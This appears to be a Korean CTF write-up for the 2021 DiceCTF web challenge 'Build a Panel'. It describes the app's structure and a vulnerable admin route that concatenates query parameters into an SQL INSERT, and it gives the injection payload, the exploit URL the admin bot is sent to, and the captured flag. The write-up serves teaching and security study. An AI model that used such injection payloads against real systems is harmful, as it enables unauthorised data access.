////
Search
🚩

Build a Panel [130 points]

목차

문제 유형

SQL Injection, Node.js 문제 & 이전 XSS 취약점을 방어한 문제

문제 정보 확인

이전 문제(2021 Dice CTF WEB 문제)들과 마찬가지로 Admin Bot 을 활용한 문제이다.

Build a Panel 기능 설명

build a panel 기능에 접속하면 아래와 같은 화면을 확인할 수 있다. Home 탭Create 탭이 존재하는 것도 확인할 수 있다.
Create 탭 : Edit 탭이 추가된 아래와 같은 화면에서 Panel의 목록들을 확인할 수 있다.
Edit 탭 : 원하는 내용의 위젯을 추가할 수 있다.

Build a Panel 기능 분석

문제에서 제공한 build-a-panel.tar.gz 에서 소스코드를 확인할 수 있다. Build a Panel의 구조는 아래와 같다.
─build-a-panel │ docker-compose.yml │ └─app │ Dockerfile │ package.json │ server.js [server file] │ ├─db ├─public │ bootstrap.min.css │ custom.js [panel add] │ submit.js [data in panel submit to server] │ └─views ├─pages │ edit.ejs │ error.ejs │ index.ejs │ panel.ejs │ └─partials head.ejs
Plain Text

1. 서버 정보 분석

server.js 분석
server.js 파일이 상당히 긴 편이라 위에서부터 순차적으로 나눠서 분석하겠다.
server.js 파일 전체
초기 설정 부분
Create 탭 부분
Edit 탭 부분
admin bot setup 부분

2. ejs 파일 분석

이전의 server.js 분석에서 ejs 파일을 통해 server.js에 정의된 동작을 요청한다고 하였다.
어떤 방식으로 요청하는지 살펴보자.
index.ejs 파일 분석
panel.ejs 파일 분석
edit.ejs 파일 분석

3. js 파일 분석

이전의 ejs 파일 분석에서 js 파일을 통해 동작을 수행한다고 하였다.
어떤 방식으로 데이터를 사용하는지, server.js 파일과는 어떤 요청/반환을 수행하는지 확인해보자.
custom.js 파일 분석
submit.js 파일 분석

취약점 분석

나는 XSS 문제라고 생각하고, 위젯 값 추가 시 XSS 구문을 넣어보기도 하고 여러 삽질을 하였지만 모두 실패하였다.
CSP로 XSS 공격을 방어도 하고 있었고, 일반적인 방법으로는 위젯의 데이터 값도 정해진 데이터만 설정 가능하기 때문이었다.
다른 분에게 SQL Injection 문제라는 힌트를 얻고 나서야 풀 수 있었는데, admin bot 을 사용한 부분에서 검증 과정을 거치지 않아 발생한 취약점을 이용하면 되는 거였다.
그래서 이번문제는 어느정도 로직만 파악하면 전체적으로 소스코드를 깊게 분석하지는 않아도 되는것 같다.
취약점은 관리자의 토큰 검증 후, 관리자의 panelId를 사용하여 DB에 위젯 데이터를 추가할 때 발생한다.
우리는 관리자의 쿠키를 탈취하지 못해 panelId를 직접 알 수는 없지만, DB의 INSERT문에 사용되는 queryParams 변수에 검증되지 않은 req.query 값을 설정하는 것을 알 수 있다.
app.get('/admin/debug/add_widget', async (req, res) => { const cookies = req.cookies; const queryParams = req.query; if(cookies['token'] && cookies['token'] == secret_token){ /* 위젯 추가 */ query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`; db.run(query, (err) => { if(err){ console.log(err); res.send('something went wrong'); }else{ res.send('success!'); } }); }else{ res.redirect('/'); } });
JavaScript
위젯 추가 시 ${queryParams['panelid']} 값을 아래처럼 바꾸어 SQL Injection을 시도할 수 있다.
panelId 부분을 본인의 것으로 바꾼다면, 자신의 패널에 원하는 값이 작성된 위젯이 추가될 것이다.
INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}'); -> INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('my_panelId',(select * from flag),'1')--', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');
SQL
Create 탭에서 패널 정보를 확인할 때 쿠키 값으로 자신의 panelId 을 전송하기 때문에, 프록시 도구를 이용하여 본인의 panelId 값을 확인할 수 있다.
필자의 panelId는 3710167d-01c3-4a26-b1f3-56d5fdda7dfc 이다.
admin bot에 아래와 같은 값이 파라미터로 전달되도록 접속해줄 URL을 만들어주어야 한다.
widgetname, widgetdata 파라미터 값을 같이 전달하지 않는다면, 쿼리문이 설정되는 변수 query를 설정할 때 존재하지 않는 값을 사용하기 때문에 에러가 발생한다.
panelid 파라미터 값3710167d-01c3-4a26-b1f3-56d5fdda7dfc',(select * from flag),'1')--
widgetname 파라미터 값 → 아무 값 (문법에 영향을 줄 수 있는 ' 문자 같은건 제외)
widgetdata 파라미터 값 → 아무 값 (문법에 영향을 줄 수 있는 ' 문자 같은건 제외)
https://build-a-panel.dicec.tf/admin/debug/add_widget/?panelid=3710167d-01c3-4a26-b1f3-56d5fdda7dfc',(select * from flag),'1')--&widgetname=0&widgetdata=0
Plain Text
admin bot에서 작성한 URL을 이용하여 접속을 시도한다.
Create 탭을 클릭하여 본인의 패널로 돌아가면 Flag가 작성된 위젯이 추가된것을 확인할 수 있다.
FLAG
dice{ch41n_ChAIn_aNd_m0Re_cHaIn}